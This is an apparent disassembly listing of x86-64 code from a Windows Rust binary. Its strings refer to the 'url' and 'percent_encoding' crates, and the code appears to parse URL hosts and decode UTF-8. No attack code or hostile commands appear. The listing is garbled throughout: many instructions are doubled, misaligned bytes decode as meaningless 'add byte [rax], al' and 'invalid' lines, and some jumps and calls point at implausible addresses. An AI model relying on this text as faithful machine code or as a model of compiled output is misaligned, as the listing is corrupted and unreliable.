mov rcx, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x10]
mov rax, rcx
shr rax, 0x20
mov bpl, 9
jne 0x1400f9814
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb8], rcx
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0xb0], eax
mov r13, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rcx + rcx*4 - 0x18], cl
and al, 0x88
add byte [rax], al
add byte [rcx + rcx*4 - 0x18], cl
mov r14, rdx
sub rax, rdx
je 0x1400f9007
xor r9d, r9d
lea r8, [0x140179b90]
xor ecx, ecx
xor esi, esi
xor r15d, r15d
mov r10, rdx
jmp 0x1400f8c5c
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + 1], cl
fisttp word [rbp + 0x39]
invalid
add r15, r11
cmp r10, r13
je 0x1400f8d91
movzx edi, byte [r10]
movzx ebx, dil
test bl, bl
js 0x1400f8c90
sub byte [rcx - 1], cl
ret 0xbb41
inc r10
mov r11d, 1
lea edi, [rbx - 9]
cmp edi, 0x54
ja case.default.0x1400f8c84
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x63], cl
cmp al, 0xb8
movsxd rdi, dword [r8 + rdi*4]
add rdi, r8
jmp rdi
mov r11d, ebx
and r11d, 0x1f
movzx r14d, byte [r10 + 1]
and r14d, 0x3f
cmp bl, 0xdf
jbe 0x1400f8cec
movzx ebx, byte [r10 + 2]
shl r14d, 6
and ebx, 0x3f
or ebx, r14d
or ebx, esi
or ebx, esi
cmp dil, 0xf0
cmp dil, 0xf0
jb 0x1400f8d6f
movzx edi, byte [r10 + 3]
add r10, 4
and r11d, 7
jrcxz 0x1400f8cd2
jrcxz 0x1400f8cd2
shl r11d, 0x12
shl ebx, 6
and edi, 0x3f
or edi, ebx
or edi, r11d
mov ebx, edi
mov r11d, 1
lea edi, [rbx - 9]
cmp edi, 0x54
push rsp
push rsp
jbe 0x1400f8c7d
jmp case.default.0x1400f8c84
add r10, 2
shl r11d, 6
or r11d, r14d
mov ebx, r11d
fild dword [rcx - 0x45]
add dword [rax], eax
add byte [rax], al
fild dword [rcx - 0x45]
add dword [rax], eax
add byte [rax], al
lea edi, [rbx - 9]
cmp edi, 0x54
jbe 0x1400f8c7d
cmp ebx, 0x110000
je 0x1400f8d91
cmp ebx, 0x80
jb 0x1400f8c50
mov r11d, 2
cmp ebx, 0x800
jb 0x1400f8c50
invalid
cmp ebx, 0x10000
mov r11d, 4
sbb r11, 0
jmp 0x1400f8c50
mov esp, 0x1a024
add byte [rdx], al
je 0x1400f8d67
jmp 0x1400f8d91
inc rsi
inc esi
jmp 0x1400f8c50
add r10, 3
shl r11d, 0xc
or ebx, r11d
mov r11d, 1
lea edi, [rbx - 9]
cmp edi, 0x54
jbe 0x1400f8c7d
jmp case.default.0x1400f8c84
test cl, 1
jne 0x1400f8ea6
add byte [rax], al
mov r14, rdx
test rsi, rsi
je 0x1400f8fd1
mov ecx, 0x2600
mov r14, rdx
jmp 0x1400f8dc0
mov r9d, r8d
cmp r9d, 0x110000
cmp ecx, 0x110000
jne 0x1400f8e98
cmp r14, r13
je 0x1400f8fce
movzx r11d, byte [r14]
movzx r8d, r11b
test r8b, r8b
js 0x1400f8df0
inc r14
cmp r8d, 0xd
jbe 0x1400f8e6a
jmp 0x1400f8db0
retf
mov r9d, r8d
and r9d, 0x1f
movzx edi, byte [r14 + 1]
and edi, 0x3f
cmp r8b, 0xdf
jbe 0x1400f8e47
movzx r10d, byte [r14 + 2]
shl edi, 6
and r10d, 0x3f
or r10d, edi
cmp r11b, 0xf0
jb 0x1400f8e7f
movzx r8d, byte [r14 + 3]
add r14, 4
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
or eax, ecx
or eax, ecx
cmp r8d, 0x110000
jne 0x1400f8e60
jmp 0x1400f8fd1
add r14, 2
shl r9d, 6
or r9d, edi
mov r8d, r9d
nop word cs:[rax + rax]
cmp r8d, 0xd
ja 0x1400f8db0
invalid
mov r9d, 0x110000
bt ecx, r8d
jb 0x1400f8db3
jmp 0x1400f8db0
add r14, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
cmp r8d, 0xd
jbe 0x1400f8e6a
jmp 0x1400f8db0
dec rsi
jne 0x1400f8dc0
jmp 0x1400f8fd1
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0xd8], 1
mov qword [rsp + 0xe0], 0
test rsi, rsi
je 0x1400f902b
lea r14, [rsp + 0xd0]
mov ebx, 0x2600
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 1
mov dword [rsp + 0xd8], 1
mov dword [rsp + 0xd8], 1
mov qword [rsp + 0xe0], 0
test rsi, rsi
je 0x1400f902b
lea r14, [rsp + 0xd0]
mov ebx, 0x2600
dec rsi
jmp 0x1400f8efd
mov eax, ecx
cmp eax, 0x110000
jne 0x1400f8fb3
cmp rdx, r13
je 0x1400f9028
movzx r9d, byte [rdx]
movzx ecx, r9b
test cl, cl
js 0x1400f8f20
inc rdx
cmp ecx, 0xd
jbe 0x1400f8f89
jmp 0x1400f8ef0
mov eax, ecx
and eax, 0x1f
movzx r10d, byte [rdx + 1]
and r10d, 0x3f
loop 0x1400f8f6d
cmp cl, 0xdf
jbe 0x1400f8f70
movzx r8d, byte [rdx + 2]
shl r10d, 6
shl edx, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400f8f9c
movzx ecx, byte [rdx + 3]
add rdx, 4
and eax, 7
shl eax, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, eax
cmp ecx, 0x110000
jne 0x1400f8f80
jmp 0x1400f902b
add rdx, 2
add al, cl
loopne 0x1400f8f7d
shl eax, 6
or eax, r10d
mov ecx, eax
nop dword [rax]
cmp ecx, 0xd
ja 0x1400f8ef0
invalid
invalid
mov eax, 0x110000
bt ebx, ecx
jb 0x1400f8ef2
jmp 0x1400f8ef0
add rdx, 3
shl eax, 0xc
or r8d, eax
mov ecx, r8d
cmp ecx, 0xd
jbe 0x1400f8f89
jmp 0x1400f8ef0
mov rcx, r14
mov rdi, rdx
mov edx, eax
call fcn.1400f6c10
mov rdx, rdi
test rsi, rsi
jne 0x1400f8ee0
jmp 0x1400f902b
mov r14, r13
test r15, r15
je 0x1400f9007
cmp r15, rax
jae 0x1400f9082
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx - 0x80], al
cmp al, 0x3a
mov edi, 0x9e8f0f
add byte [rax], al
cmp byte [rdx + r15], 0xbf
jg 0x1400f9088
lea rcx, [0x140172fc8]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r15
call fcn.140108ac0
xor esi, esi
movzx eax, byte [rsp + 0x1a0]
cmp al, 1
je 0x1400f9270
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rdi], cl
mov dh, 0xc0
cmp eax, 2
jne 0x1400f9072
mov rdx, r13
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov rdi, qword [rsp + 0xd8]
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xe0
add byte [rax], al
add byte [rax - 0x4a], al
add dword [rdi], ecx
mov dh, 0x84
and al, 0xa0
add dword [rax], eax
add byte [rcx + rax], bh
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xe0
add byte [rax], al
add byte [rax - 0x4a], al
add dword [rdi], ecx
mov dh, 0x84
and al, 0xa0
add dword [rax], eax
add byte [rcx + rax], bh
jne 0x1400f907a
test r15, r15
jne 0x1400f907a
xor ebx, ebx
movabs r15, 0x8000000000000002
mov rax, qword [rsp + 0x70]
jmp 0x1400f9245
mov r14, rdx
mov rdx, rdi
jmp 0x1400f9096
jne 0x1400f8fea
xor esi, esi
movzx eax, byte [rsp + 0x1a0]
cmp al, 1
je 0x1400f9109
cmp al, 2
jne 0x1400f9109
test r15, r15
je 0x1400f914f
cmp byte [rdx], 0x5b
jne 0x1400f9152
mov bl, 4
cmp byte [rdx + r15 - 1], 0x5d
mov rax, qword [rsp + 0x70]
jne 0x1400f9236
mov r9, r15
dec r9
je 0x1400f9be6
cmp byte [rdx + 1], 0xbf
jle 0x1400f9c06
inc rdx
add r15, 0xfffffffffffffffe
lea rcx, [rsp + 0xd0]
mov r8, r15
call fcn.1400f6410
cmp byte [rsp + 0xd0], 0
je 0x1400f995f
movabs r15, 0x8000000000000002
jmp 0x1400f9989
lea rcx, [rsp + 0xd0]
mov r8, r15
call fcn.1400f56f0
mov r12, qword [rsp + 0xd0]
movabs r15, 0x8000000000000002
movzx ebx, byte [rsp + 0xd8]
add byte [rax], al
add byte [rbp + 0x39], cl
cld
jne 0x1400f9277
mov rax, qword [rsp + 0x70]
test sil, sil
jne 0x1400f9245
jmp 0x1400f925c
xor r15d, r15d
lea rax, [rdx + r15]
lea rcx, [0x140179ce4]
mov r8, rdx
cmp r8, rax
je 0x1400f9863
movzx ebx, byte [r8]
movzx r9d, bl
retf
test r9b, r9b
js 0x1400f9185
retf
inc r8
cmp r9d, 0x7c
jbe 0x1400f9222
jmp case.0x1400f922c.1
mov r12, rdi
mov r10d, r9d
and r10d, 0x1f
movzx edi, byte [r8 + 1]
and edi, 0x3f
cmp r9b, 0xdf
jbe 0x1400f91eb
movzx r11d, byte [r8 + 2]
shl edi, 6
and r11d, 0x3f
or r11d, edi
cmp bl, 0xf0
jb 0x1400f9207
movzx r9d, byte [r8 + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
rol dword [rcx - 0x7f], 1
stc
add byte [rax], al
adc dword [rax], eax
rol dword [rcx - 0x7f], 1
stc
add byte [rax], al
adc dword [rax], eax
mov rdi, r12
je 0x1400f9863
add r8, 4
cmp r9d, 0x7c
jbe 0x1400f9222
jmp case.0x1400f922c.1
add r8, 2
shl r10d, 6
or r10d, edi
or edx, edi
mov r9d, r10d
mov rdi, r12
cmp r9d, 0x7c
jbe 0x1400f9222
jmp case.0x1400f922c.1
add r8, 3
shl r10d, 0xc
or r11d, r10d
mov r9d, r11d
mov rdi, r12
cmp r9d, 0x7c
ja case.0x1400f922c.1
mov r9d, r9d
movsxd r9, dword [rcx + r9*4]
mov dword [rcx + 1], ecx
leave
mov dword [rcx + 1], ecx
leave
jmp r9
mov bl, 5
mov rax, qword [rsp + 0x70]
and al, 0x70
jo 0x1400f9280
movabs r15, 0x8000000000000002
test sil, sil
je 0x1400f925c
mov edi, 2
add byte [rax], al
add byte [rax + 0x74f68440], al
invalid
test rax, rax
je 0x1400f925c
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0x8000000000000002
mov r12, r15
mov esi, ebx
cmp r15, rax
jne 0x1400f92b6
mov ebp, esi
jmp 0x1400f9814
mov rax, qword [rsp + 0xd9]
mov rcx, qword [rsp + 0xe0]
loopne 0x1400f9285
add byte [rax], al
mov ecx, dword [rsp + 0xe0]
loopne 0x1400f9285
add byte [rax], al
mov qword [rsp + 0x11f], rcx
mov qword [rsp + 0x118], rax
test sil, sil
je 0x1400f92b6
cmp qword [rsp + 0x70], 0
je 0x1400f92b6
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x11f]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x81], rax
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x80], bl
lea rax, [rsp + 0x78]
mov qword [rsp + 0xc0], rax
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x5e0a
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x5e0a
mov qword [rsp + 0xc8], rax
lea rax, [0x140173648]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
add byte [rax - 0x39], cl
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 - 0x5c], cl
lea r12, [rsp + 0xc0]
lea esp, [rsp + 0xc0]
lea esp, [rsp + 0xc0]
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0xe8], 1
add byte [rax - 0x73], cl
adc eax, 0x79538
add byte [rax - 0x73], cl
adc eax, 0x79538
lea r8, [rsp + 0xd0]
mov rsi, qword [rsp + 0x90]
mov rcx, rsi
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
nop
add byte [rax], al
add byte [rax - 0x77], cl
int1
call fcn.140013990
test al, al
jne 0x1400f9bba
mov rdi, qword [rsi + 0x10]
mov rax, rdi
shr rax, 0x20
jne 0x1400f961f
mov rsi, qword [rsp + 0x78]
mov r15, qword [rsp + 0x88]
movabs r10, 0x8000000000000002
mov rbx, r14
cmp rsi, r10
jl 0x1400f942b
invalid
add byte [rcx + rcx*4 - 0xd], cl
mov rbx, r14
test r15, r15
jne 0x1400f942b
mov r12, r10
mov qword [rsp + 0xd0], r14
mov qword [rsp + 0xd8], r13
mov dword [rsp + 0xd8], ebp
mov dword [rsp + 0xd8], ebp
lea rcx, [0x140172ce2]
lea r8, [rsp + 0xd0]
mov edx, 1
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0xd0
add byte [rax], al
add byte [rdx + 1], bh
call case.0x1400dbe39.240
cmp byte [rsp + 0x1a0], 2
jne 0x1400f93f0
mov rbx, r14
test al, al
mov r10, r12
lea r12, [rsp + 0xc0]
je 0x1400f942b
xor ebp, ebp
jmp 0x1400f9627
inc rbx
cmp eax, 0xd
clc
or eax, 0xb3870f
add byte [rax], al
clc
or eax, 0xb3870f
add byte [rax], al
mov ecx, 0x110000
adc dword [rax], eax
mov edx, 0x2600
bt edx, eax
jae 0x1400f94bf
cmp ecx, 0x110000
jne 0x1400f94cd
cmp rbx, r13
je 0x1400f965f
movzx r8d, byte [rbx]
movzx eax, r8b
test al, al
jns 0x1400f9400
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rbx + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x1400f9494
movzx edx, byte [rbx + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x1400f94ab
movzx eax, byte [rbx + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x1400f965f
add rbx, 4
cmp eax, 0xd
jbe 0x1400f940c
jmp 0x1400f94bf
add rbx, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
cmp eax, 0xd
jbe 0x1400f940c
jmp 0x1400f94bf
add rbx, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
cmp eax, 0xd
jbe 0x1400f940c
mov ecx, eax
cmp ecx, 0x110000
je 0x1400f942b
mov qword [rsp + 0xa0], r15
cmp ecx, 0x3a
jne 0x1400f9667
mov r15, rdi
mov rax, qword [rsp + 0x90]
movzx ecx, byte [rax + 0x40]
xor eax, eax
mov qword [rsp + 0x70], rax
mov edx, 0x2600
xor eax, eax
mov r8, rbx
jmp 0x1400f952a
inc r8
cmp r9d, 0xd
ja 0x1400f95d6
mov r10d, 0x110000
bt edx, r9d
jae 0x1400f95d6
cmp r8, r13
je 0x1400f99fd
movzx edi, byte [r8]
movzx r9d, dil
test r9b, r9b
jns 0x1400f9500
mov r10d, r9d
and r10d, 0x1f
movzx r14d, byte [r8 + 1]
and r14d, 0x3f
cmp r9b, 0xdf
jbe 0x1400f95a4
movzx r11d, byte [r8 + 2]
shl r14d, 6
and r11d, 0x3f
or r11d, r14d
cmp dil, 0xf0
jb 0x1400f95be
add r8, 2
shl r10d, 6
or r10d, r14d
mov r9d, r10d
cmp r9d, 0xd
jbe 0x1400f950d
mov r10d, r9d
cmp r10d, 0x110000
je 0x1400f952a
and ebx, 3
add byte [rax], al
mov rax, qword [rsp + 0x70]
lea eax, [rax + rax*4]
lea r10d, [r9 + rax*2]
mov al, 1
mov rbx, r8
mov r9, r10
mov qword [rsp + 0x70], r10
cmp r10d, 0xffff
jbe 0x1400f952a
mov bpl, 2
jmp 0x1400f9627
mov bpl, 9
mov rsi, qword [rsp + 0x78]
movabs rax, 0x8000000000000002
cmp rsi, rax
jl 0x1400f9814
test rsi, rsi
je 0x1400f9814
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400f9814
mov qword [rsp + 0xa0], r15
xor edx, edx
mov qword [rsp + 0x70], rax
mov r15, qword [rsp + 0x80]
movabs rcx, 0x8000000000000001
add rcx, rsi
xor eax, eax
cmp rsi, r10
cmovl rax, rcx
test rax, rax
je 0x1400f969b
cmp rax, 1
jne 0x1400f96a9
mov bl, 2
jmp 0x1400f96b2
cmp qword [rsp + 0xa0], 0
setne bl
jmp 0x1400f96b2
mov r12, r15
shr r12, 0x20
mov bl, 3
cmp rsi, r10
jl 0x1400f96d2
test rsi, rsi
je 0x1400f96d2
mov rcx, qword [0x140182260]
mov esi, edx
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov edx, esi
mov rax, qword [rsp + 0xb8]
cmp qword [rsp + 0xa8], rax
je 0x1400f96ef
test bl, bl
jne 0x1400f96ef
xor ebp, ebp
jmp 0x1400f9814
mov rax, qword [rsp + 0x90]
mov rsi, qword [rax + 0x10]
mov rax, rsi
shr rax, 0x20
jne 0x1400f9814
shl r12, 0x20
mov qword [rsp + 0x98], rdi
mov edi, r15d
or rdi, r12
mov byte [rsp + 0xd0], 1
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0xd0]
mov r15, qword [rsp + 0x90]
mov rcx, r15
movzx ebp, byte [rsp + 0x1a0]
mov r12d, edx
mov edx, ebp
mov r9, r14
call fcn.1400ff900
mov rcx, qword [r15 + 0x40]
mov qword [rsp + 0x110], rcx
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rsp + 0x100], xmm3
movaps xmmword [rsp + 0xf0], xmm2
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
mov byte [rsp + 0x78], bl
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x81], rcx
mov qword [rsp + 0x79], rdi
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], esi
mov rax, qword [rsp + 0x70]
mov word [rsp + 0x48], ax
mov word [rsp + 0x40], r12w
lea rax, [rsp + 0x78]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x98]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0xb8]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x128]
mov r8d, ebp
mov r9d, dword [rsp + 0x1a8]
add dword [rax], eax
add byte [rcx - 0x77], al
call 0x1649c234d
test al, 1
add byte [rax], al
call fcn.1400fb120
jmp 0x1400f984e
invalid
cmp cl, byte [rax - 0x75]
mov word [rax + rbp], fs
add dword [rax], eax
add byte [rax - 0x78], al
imul ecx, dword [rax], 0xb848
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48018948], al
mov eax, dword [rsp + 0x90]
test byte [rax + rdx*4], ah
add byte [rax], al
invalid
mov rcx, qword [rsp + 0x128]
mov byte [rcx + 8], bpl
movabs rax, 0x8000000000000000
mov qword [rcx], rax
mov rax, qword [rsp + 0x90]
test byte [rax + rdx*4], ah
add byte [rax], al
invalid
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x7d], cl
cmp byte [rax], al
cmp qword [rax], 0
je 0x1400f984e
mov r8, qword [rax + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
wait
add dword [rax], eax
wait
add dword [rax], eax
nop
add rsp, 0x138
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 1
mov qword [rsp + 0x88], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
sbb eax, 0x7942d
js case.0x1400d5dee.993
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
sbb eax, 0x7942d
jmp 0x1400f98bf
mov r12, rdx
inc r12
dec r15
lea rdx, [rax + rax*2]
lea rax, [0x14013cf3c]
add rdx, rax
mov r8d, 3
lea rcx, [rsp + 0x78]
call fcn.1400f6b80
mov rdx, r12
test al, al
jne 0x1400f9b8e
test r15, r15
je 0x1400f9930
movzx eax, byte [rdx]
movzx eax, al
test al, al
js 0x1400f988d
mov ecx, eax
shr ecx, 5
mov ecx, dword [rbx + rcx*4]
bt ecx, eax
jb 0x1400f988d
mov r12d, 1
mov eax, 1
nop word cs:[rax + rax]
add byte [rax], al
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
cmp r15, rax
je 0x1400f9925
mov r8, rax
movzx eax, byte [rdx + rax]
test al, al
js 0x1400f9916
movzx ecx, al
mov eax, ecx
shr eax, 5
mov r9d, dword [rbx + rax*4]
lea rax, [r8 + 1]
bt r9d, ecx
jae 0x1400f98f0
sub r15, r8
jb 0x1400f9b2e
lea r12, [rdx + r8]
lea esp, [rdx + rax]
jmp 0x1400f98aa
mov r8, r15
xor r15d, r15d
jmp 0x1400f98aa
mov r15, qword [rsp + 0x78]
movzx ebx, byte [rsp + 0x80]
mov rax, qword [rsp + 0x81]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xc7], rax
add byte [rax], al
add bl, ch
invalid
add byte [rax], al
add bl, ch
xor cl, byte [rax - 0x75]
test byte [rdx + rdx*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rcx + rbx*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rdi + rax*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rcx - 0x41], cl
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x249cb60f], al
rol dword [rax], 1
add byte [rax], al
mov rax, qword [rsp + 0xd2]
mov rcx, qword [rsp + 0xd9]
mov qword [rsp + 0xc7], rcx
mov qword [rsp + 0xc0], rax
movabs r15, 0x8000000000000001
movzx ebx, byte [rsp + 0xd1]
movabs rax, 0x8000000000000002
cmp r15, rax
je 0x1400f9231
add byte [rax], al
add byte [rax + 0xfc73949], al
test byte [rbp + 0x48fffff8], cl
mov eax, dword [rsp + 0xc0]
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc7]
mov qword [rsp + 0x11f], rcx
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x70]
test sil, sil
jne 0x1400f9245
clc
invalid
invalid
clc
invalid
jmp 0x1400f925c
test al, 1
je 0x1400f9a41
mov edx, dword [rsp + 0x1a8]
mov r9d, edx
mov rax, qword [rsp + 0x90]
mov rcx, qword [rax + 8]
test edx, edx
mov rdi, r15
invalid
je 0x1400f9a5a
push qword [rsp + rdi + 0x4c]
cmp edi, ecx
cmp rdi, r9
jbe 0x1400f9a58
cmp byte [rcx + r9], 0xbf
jg 0x1400f9a5a
lea rax, [0x140172fb0]
mov qword [rsp + 0x20], rax
mov rdx, rdi
xor r8d, r8d
shr al, 0x7f
lock add byte [rax], al
shr al, 0x7f
lock add byte [rax], al
xor edx, edx
mov r14, rbx
mov rdi, r15
movabs r10, 0x8000000000000002
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x3e917], al
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x3e917], al
push qword [rbp - 0x30]
jne 0x1400f9a2a
mov rdx, r9
call fcn.1400f8170
test ax, ax
mov rax, qword [rsp + 0x70]
je 0x1400f9a78
cmp dx, ax
jne 0x1400f9a78
xor edx, edx
jmp 0x1400f9b10
mov word [rsp + 0x118], ax
lea rax, [rsp + 0x118]
mov qword [rsp + 0xc0], rax
lea rax, [0x1400161b0]
mov qword [rsp + 0xc8], rax
lea rax, [0x140172f88]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0xe8], 1
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x90]
call fcn.1400f6bf0
test al, al
jne 0x1400f9c23
mov rsi, qword [rsp + 0x78]
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xa0], rax
mov dx, 1
mov r14, rbx
movabs r10, 0x8000000000000002
jmp 0x1400f966e
lea rcx, [0x140172f48]
call fcn.140108970
lea rax, str.mid___len
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xe0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
lea rcx, [rsp + 0xd0]
call fcn.140108560
lea rcx, [0x140172eb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
xor r8d, r8d
mov r9, r13
call fcn.140108ac0
lea rax, [0x140172938]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_string.rs
lea r9, [0x140172950]
lea r8, [rsp + 0xd0]
mov edx, 0x37
call fcn.1401088e0
lea rax, [0x140172f70]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140172950]
lea r8, [rsp + 0xd0]
add byte [rdx + 0x2b], bh
add byte [rdx + 0x2b], bh
call fcn.1401088e0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdx
mov rdx, r15
xor r9d, r9d
call fcn.140108ac0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdx
mov rdx, r15
call fcn.140108ac0
lea rax, [0x140172f98]
jmp 0x1400f9bc1
mov rax, rbx
mov r9, rbx
nop word cs:[rax + rax]
movzx edx, byte [r9]
movzx r8d, dl
test r8b, r8b
js 0x1400f9c90
lea rbx, [r9 + 1]
cmp r8d, 0xd
jbe 0x1400f9d10
jmp 0x1400f9d30
mov ecx, r8d
and ecx, 0x1f
movzx r10d, byte [r9 + 1]
and r10d, 0x3f
cmp r8b, 0xdf
jbe 0x1400f9ce0
movzx r8d, byte [r9 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp dl, 0xf0
jb 0x1400f9cf5
lea rbx, [r9 + 4]
movzx edx, byte [r9 + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
and edx, 0x3f
or edx, r8d
or edx, ecx
mov r8d, edx
cmp r8d, 0xd
jbe 0x1400f9d10
jmp 0x1400f9d30
lea rbx, [r9 + 2]
shl ecx, 6
or ecx, r10d
mov r8d, ecx
cmp r8d, 0xd
jbe 0x1400f9d10
jmp 0x1400f9d30
lea rbx, [r9 + 3]
shl ecx, 0xc
or r8d, ecx
cmp r8d, 0xd
ja 0x1400f9d30
nop word cs:[rax + rax]
bt ebp, r8d
jae 0x1400f9d30
mov r9, rbx
cmp rbx, rsi
jne 0x1400f9c70
jmp 0x1400f9ece
cmp r8d, 0x110000
je 0x1400f9ed3
mov r14d, 1
cmp r8d, 0x80
jb 0x1400f9d6c
mov r14d, 2
cmp r8d, 0x800
jb 0x1400f9d6c
cmp r8d, 0x10000
mov r14d, 4
sbb r14, 0
